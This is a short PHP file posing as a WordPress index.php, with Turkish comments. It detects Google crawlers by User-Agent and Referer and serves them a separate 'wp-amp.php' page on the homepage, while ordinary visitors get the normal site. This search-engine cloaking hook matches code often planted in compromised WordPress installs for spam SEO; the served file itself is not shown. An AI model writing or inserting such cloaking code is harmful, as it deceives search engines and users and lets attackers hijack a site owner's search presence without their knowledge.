<?php
// Kullanici ajani ve referer bilgisini al
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';

// Google botlarini tanimla
$googleBots = [
    'Googlebot',
    'AdsBot',
    'Mediapartners-Google',
    'APIs-Google',
    'Googlebot-Image',
    'Googlebot-Video',
    'Googlebot-News',
    'Googlebot-Search',
    'Googlebot-Inspect',
    'Googlebot-Android',
    'Googlebot-Mobile',
    'Googlebot-Ads',
    'Googlebot-Discovery',
    'Google-',
];

// Sadece Google botlari için özel AMP sayfasi
if (
    preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || // User-Agent içinde bot var mi?
    (strpos($referer, 'google.') !== false && stripos($userAgent, 'bot') !== false) // Referer Google ve bot kelimesi var mi?
) {
    // Sadece anasayfa istegi için geçerli olacaksa:
    if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '/index.php') {
        include 'wp-amp.php';
        exit;
    }
}

// Normal kullanicilar için standart WordPress baslatilir
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';